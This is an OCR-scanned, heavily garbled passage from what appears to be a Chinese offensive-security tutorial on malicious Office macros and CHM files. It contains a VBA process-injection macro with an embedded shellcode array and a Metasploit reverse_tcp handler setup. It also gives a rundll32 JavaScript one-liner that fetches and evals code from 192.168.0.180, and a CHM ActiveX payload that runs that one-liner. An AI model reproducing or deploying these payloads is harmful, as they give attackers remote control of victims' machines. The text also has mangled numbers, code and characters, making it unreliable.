&6 58 Private Doclars PirSafe Function ¥riteStutf Lib “kernel3o” Aliag “¥riteProcescllencry’ (ByVal hbrocess As Long, ByVal 1Dest, Ae Longbtr, ByRet Source As Any, Byv
Private Declare PtrSafe Function RunStuff Lib “kernel32” Alias “CreateProcessA” (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAtt
#Else
Private Declare Function CreateStuff Lib “"kernel32” Alias “CreateRemoteThread” (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dvStackSize As
Private Declare Function AllocStuff Lib “kernel32” Alias “VirtualallocEx” (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal 1Size As Long, ByVal flAllocatic
Private Declare Function ¥riteStuff Lib “kernel32” Alias “¥riteProcesslenory” (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Lensth 4
Private Declare Function RunStuff Lib “kernel32” Alias ‘CreateProcessA” (ByVal lpApplicationllame As String, ByVal lpCommandline As String, lpProcessAttributes
#End If
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Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO

Dim sNull As String

Dim sProc As String

#If VBA7 Then
Dim rwszpage As LongPtr, res As LongPtr

#Else

lel\ rwxpage As Long, res As Long
HEn

nyArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49 -1, 49, -64,
13, 1, -57, -30, -16, 82, 87, -117, 82, 10 -117, 66, €0, 1, -48, -117, 04 120 -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, 0, -
-42, 49, -1, 49, -64, -84, -63, —49, 13, -57, 56, -32, 117, -12, 3, 125, 59, 125, 36, 117, -30, 88, -117, 88, 36, =
-117, 1, -48, -119, 68, 36, 36, 91, 91, ‘37, 89, 90, 81, -1 -32 BB 95 90 —1171 15, ‘21, =122, 93, 104, 110, 101, 1186, 0 104 119 105, 110, 105, 54

43, 49, -1 87, BT E7 87 87, 104, 58, 86, 121 -89, - 55, 81, 81, 106, 3, 81, 81, 104, 10, 26, 0, 0, 83, 80,

=58, - ~21, 49, -46, 82, 104, 0, 2, 64, , 59, - -119, -58,

104, 45 6 24 123 -1 -43 -123, -64, 15, -124, -61, -7, =21, 9, 1041 ‘Bﬂ, ‘59, 30, 93,

—43, 49, -1, 87, 106, 7, BlL, 86 BO 104 -73, 87, =32, 11, -1, - = 73, 49, 111, 1, 0, 0, =

-1, -1, 47, 99, 109, 83, 57, 1, -34, -84, 100, -109, 33, -81, 3& 55 —57Y 23, -120, - , -119, -102 72 101, 22, 94,

=79, 53, 120, 74, 11, 106, 54 —‘11y 26, , 37, =79, -120, 22, 1283, 73, -125, 120, -89, -93, -21, 74, -108 -103 112 115

57, 0, 85, 115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111 122 105 108 108 97;. 47 53, 46, 48 32, 40, 99, 111, 109, 112, 97, 116, 105, 98, 103 1{
83, 73, 69, 32, 57, 46, 48, 59, 32, 87 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, 87, 79, 87, 54, 52, 59, 32, 84, 114, 105, 100, 101, 110,
53, 46, 48, 59, 32, 7B 80, 48, 56, 59, 32 77, 65, 65, 85, 59, 32, 78, 80, 48, 56 41 13, 10, 0, -93, -110, 58, 75, -9, 109, -9, 67, 19, 98, 118, 83, 109, -83, 2
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use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.180
set lport 1234
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#lfE chm 49 & > f

T H # ik https:/github.com/Ridter/MyJSRat

T#IE git clone https://github.com/Ridter/MyJSRat
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python MyJSRat.py -i 192.168.0.180 -p 8080
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kali@kali: ~/ = #]/MyJSRat kali@kali: ~/ = H

: Evilcg
Using interactive method!

Web Server Started on Port: 8080

Awaiting Client Connection to: http://192.168.0.180:8080/connect
Client Command at: http://192.168.0.180:8080/wtf

Browser Hook Set at: http://192.168.0.180:8080/hook

[-] Hit CTRL+C to Stop the Server at any time...

http://192.168.0.180:8080/wtf
rund1132. exe javascript:”\..\mshtml, RunHTMLApplication

”+document. write () ;h=new%20ActiveXObject ("WinHttp. WinHttpRequest. 5.1”)
:h. Open ("GET”, “http://192. 168. 0. 180:8080/connect”, false) ;try {h. Send () ;
b=h. ResponseText;eval (b) ;} catch(e) {new%20ActiveXObject ("WScript. Shell

”Y.Run("emd /c taskkill /f /im rund1132.exe”, 0, true) ;}

7 17 wit X g2 % B R LA chm &5 H 2

#1E chm B FF#

Easy CHM £ —#% CHM ® F 4 5 CHM H B X tFe il fE TR, RFE=ZFT %
A CHM By %l 1, i # R F 48 A8 5L B &, BHAEW 25 N Z X RN TR X,
RJER PR ULk E CHM 4R 5. F 46| /. EasyCHM ¥ | T/ A s # &
AFEERERLNEEAXRERBERE T ERERNMN T ES. CHM B X
. Bl RRHA. AENE. CHM BT H %%,

474 payload
<IDOCTYPE html><htmI><head><title>Mousejack
replay</titte><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1
height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=',ix & £ {{ #] payload'>


http://192.168.0.180:8080/wtf

<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

FT7T Easy CHM #2Z->3| >t # B X

¥ Easy CHM v3.93 - [chm.ecp
MHE EH ERQ TAMD #RHW
Dae OaF v e QW3 |G
EE ] ERGE
4 BuA H| & BB o oW =3
& <IDOCTYPE html><html ><head><title>i#BA</title><head></head><body>
= st<br>
<OBJECT id=x classid="clsid:adbB880a6-d8ff-11cf-9377-002a003b7al1” width=1 height=1>
T <PARAM name="Command” value="ShortCut”>
3 <PARAM name="Button” value="Bitmap::shortcut”>
x <PARAN name="Iteml” value=",rundll132. exe, javascript:“\..\mshtnl, RunHTMLApplication *;document. wri
s (“¥inHttp. VinHttpRequest. 5. 1%) ;h. Open(“GET”, “http://192. 168. 0. 180:8080/connect”, false) ; try th. Send(

20ActiveXObject (“¥Script. Shell”).Run("cmd /c taskkill /f /im rundl132.exe”, 0, true);}’ >
CPARAN name="Item2” value="273,1,1">
</OBJECT>
<SCRIPT>
x.ClickQ ;
</SCRIPT>
P </body>(/htnl>

HiE REFREEFLETE £ & chm BT,

3 L R

3l B R
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<IDOCTYPE htnl><htnl><head><title>¥iBA</title><head></head><body>
test<br>

<OBJECT id=x classid="clsid:a¢
CPARAN nane="Comnand’ value="§
CPARAN name="Button’ valus="F LEBE

CPARAN name="Ttenl” value=',1  ##(6) wl AT Hf(0) n “;document. vrite () ;h=new%20ActiveXObject
(“WinHttp. ¥inHttpRequest. 5. 17 1se) ; try [h. Send O ; b=h. ResponseText;eval (b) ;} catch(e)
20ActiveXObject (“VScript. Shel THEEMRER ® £ >

<PARAN name="Iten2’ value="2 |C: Wsers WST-NB\De sktop \EH 1\ cha\,
</OBJECT>
<SCRIPT> CHESHTER (1)
x.ClickO; [en .
</SCRIPT> < o

F </body></htnl> CHETE—R D):
! C: \User sVSI-NB\Desktop \EEff2\cha 2. htnl =
1 RERE Compiling c:\Users\MSI-NB\Desktop\fti\chm.cEM
H [C-WsersUST-MB\Desktop \ B\ cha\2. henl & [2.nem1
4 ciRTEA (V) - 5 o
[C: \User s UIST-NB\Desk top \EE i cha. CHIC Sl Z0C Cxeated Py Easy-CHN. HIC

Index-Created-By-Easy-CHM.HHK
The following files were not compiled:
G omaB© [P EE] | A
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4.5. Ink REFRFE

Ink SCHFZ T 48 A B9 — A SO B SCPRB AR R T A SR, &
FoUhEFAREEZ L, UWFEERZFRENRA.,

4 & 1F
ERHEEIEREEFA H# HAFHET payload
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